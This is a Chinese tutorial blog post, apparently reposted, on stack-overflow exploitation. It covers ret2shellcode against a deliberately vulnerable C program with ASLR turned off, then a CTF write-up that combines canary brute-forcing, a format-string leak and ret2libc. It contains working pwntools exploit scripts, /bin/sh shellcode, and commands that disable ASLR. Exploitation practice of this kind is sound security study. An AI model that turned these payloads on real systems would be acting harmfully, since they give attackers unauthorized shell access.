字符串溢出(pwn溢出)--ret2shellcode

Posted 莫慌搞安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了字符串溢出(pwn溢出)--ret2shellcode相关的知识,希望对你有一定的参考价值。

有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录pwn溢出入门案例,信息安全https://saucer-man.com/information_security/177.html

这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,关闭ASLR ,关闭PIE,这个操作都一样。

ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。也就是说需要关闭NX防护

# 查看ASLR是否开启 
cat /proc/sys/kernel/randomize_va_space  
# 关闭ASLR  
sudo su  
echo 0 > /proc/sys/kernel/randomize_va_space

# 开启系统转储查看是否开启:
ulimit -c   (如果是0就是关着的)
# 开启转储 
ulimit -c unlimited
# 设置转储文件位置为/tmp文件夹下面
sudo su
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
#include <stdio.h>
#include <unistd.h>
void readbuf()

    char buffer[100];
    read(0, buffer, 200);

int main(int argc, char *argv[])

    readbuf();
    write(1, "Hello, PWN!\\n", 12);
    return 0;

编译参数 ,这里使用32位,64位汇编码和32位有很大的不同,使用32位可以降低一下分析难度

gcc -O0 -no-pie -m32 -fno-stack-protector -z execstack -o test test.c

使用cyclic字符串生成工具生成一个字符串,也可以使用其他pwn 字符串生成 工具,这种工具主要目的是为了计算字符串起始地址到崩溃的栈地址的长度 

 gdb 调试test,然后输入字符串,可以看到崩溃在eip 0x62616164(daad)

cyclic 测算结果112个字节 ,当然除了使用cyclic这种计算方式,也可以使用ida打开反汇编来记性计算,或者动态调试来计算。只是难度稍高

这里有的博客说gdb和真实环境测算结果是不一样,我使用转储测试一下,结果确实不同

这个是正常跑的时候,通过转储发给gdb调试

 我们可以看到buffer首地址在0xffffd4d8+4的位置,也就是ecx的位置0xffffd4dc

 这个是直接gdb调试的时候 ,可以看到buffer首地址在0xffffd498+4的位置,也就是ECX的地址0xffffd49c确实会有不同

 

 直接gdb调试buffer首地址

 编写这样的代码,其中buff_addr我们可以替换上述的gdb调试的地址和转储发现的地址,再次测试哪种是真实的情况,其中\\x90是雪橇字符,在不使用雪橇字符的情况下有时候会不成功。

如果buff_addr无法计算精准(实际可能没有调试环境)可以把\\x90的字符串拉长,然后增加bufffer的地址,前提是总长度在溢出padding计算长度范围

from pwn import *
proc = process('./test1')
shellcode = "\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90"  
shellcode += "\\x31\\xc9\\xf7\\xe1\\x51\\x68\\x2f\\x73\\x68\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80"
buff_addr = p32(0xffffd4dc)
payload = shellcode + 'B'*(112 - len(shellcode)) + buff_addr
proc.send(payload)
proc.interactive()

使用0xffffd4dc地址测试成功 ,说明gdb直接调试确实是不行的

ret2shellcode的整理利用原理如下图,属于最理想的一种情况:
 

NSCTF 2017-pwn2

程序基本信息

技术图片

   32位动态链接程序,开启了数据段不可执行以及栈溢出保护

程序漏洞

   在函数中sub_80487fa中有一个格式化字符串漏洞和read函数栈溢出漏洞

技术图片

整体思路

   首先不用说,肯定得先想办法栈溢出,溢出函数我们已经找到,接下来的问题就是得泄露出canary的值,从而绕过栈溢出保护。我们当然可以通过格式化字符串漏洞泄露canary的值,也另外一种方法就是爆破获得canary的值。程序中有fork函数,通过fork函数打开的子进程因爆破失败结束了也不会影响父进程,借此我们可以不断调用子进程来爆破canary的值。获得canary的值后,因题目给了libc,我们只要随便泄露出库函数的地址,借此计算system与/bin/sh的地址,再通过rop技术,即可pwn掉程序。

exp脚本

#!/usr/bin/python
#coding:utf-8

from pwn import *

context.update(os = 'linux', arch = 'amd64')

io = remote('172.17.0.3', 10001)

canary = 'x00'      #canary最低字节必为x00
for i in xrange(3):
    for j in xrange(256):
        io.sendline('Y')
        io.recv()
        io.sendline('%5$p')     #泄露栈上的libc地址
        io.recvuntil('game ')
        leak_libc_addr = int(io.recv(10), 16)
        
        io.recv()
        payload = 'A'*16            #构造payload爆破canary
        payload += canary
        payload += chr(j)                     #逐字节爆破canary
        io.send(payload)
        io.recv()
        if ("" != io.recv(timeout = 0.1)):      #如果canary的字节位爆破正确,应该输出两个"[*] Do you love me?",因此通过第二个recv的结果判断是否成功
            canary += chr(j)                  #将正确字节拼接上
            log.info('At round %d find canary byte %#x' %(i, j))
            break

log.info('Canary is %#x' %(u32(canary)))
system_addr = leak_libc_addr - 0x1b6e00  + 0x3b060  #0x1b6e00和0x3b060分别为IO_2_1_stdin_距离libc头部偏移
binsh_addr = leak_libc_addr - 0x1b6e00 + 0x15fa0f  #/bin/sh字符串距离libc头部偏移
log.info('System address is at %#x, /bin/sh address is at %#x' %(system_addr, binsh_addr))

payload = ''                    #构造payload执行system('/bin/sh')
payload += 'A'*16
payload += canary                       #将canary放在正确的位置
payload += 'B'*12
payload += p32(system_addr)
payload += 'CCCC'                       #返回地址任填
payload += p32(binsh_addr)

io.sendline('Y')                #[*] Do you love me?
io.recv()
io.sendline('1')                #[*] Input Your name please: 随便一个输入
io.recv()
io.send(payload)                #[*] Input Your Id: 漏洞产生点
io.interactive()

发现的问题

   原文中泄露的libc中的地址是_cxa_atexit+25,但是通过我比较发现,不同库同一函数的代码可能是不一样的

我电脑使用的libc的_cxa_atexit
技术图片

题目给的libc
技术图片

   所以说我们在计算函数在内存中的偏移时,最好使用函数名或者全局变量(比如说上文使用的IO_2_1_stdin_)

内容参考

Linux pwn入门教程(9)

以上是关于字符串溢出(pwn溢出)--ret2shellcode的主要内容,如果未能解决你的问题,请参考以下文章

Buuctf pwn1 详细wp

PWN菜鸡入门之栈溢出

Pwn-pwn-200

[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof

硬核二进制安全:Pwn Return To Text溢出漏洞的分析与利用

Linux_x64_Pwn溢出漏洞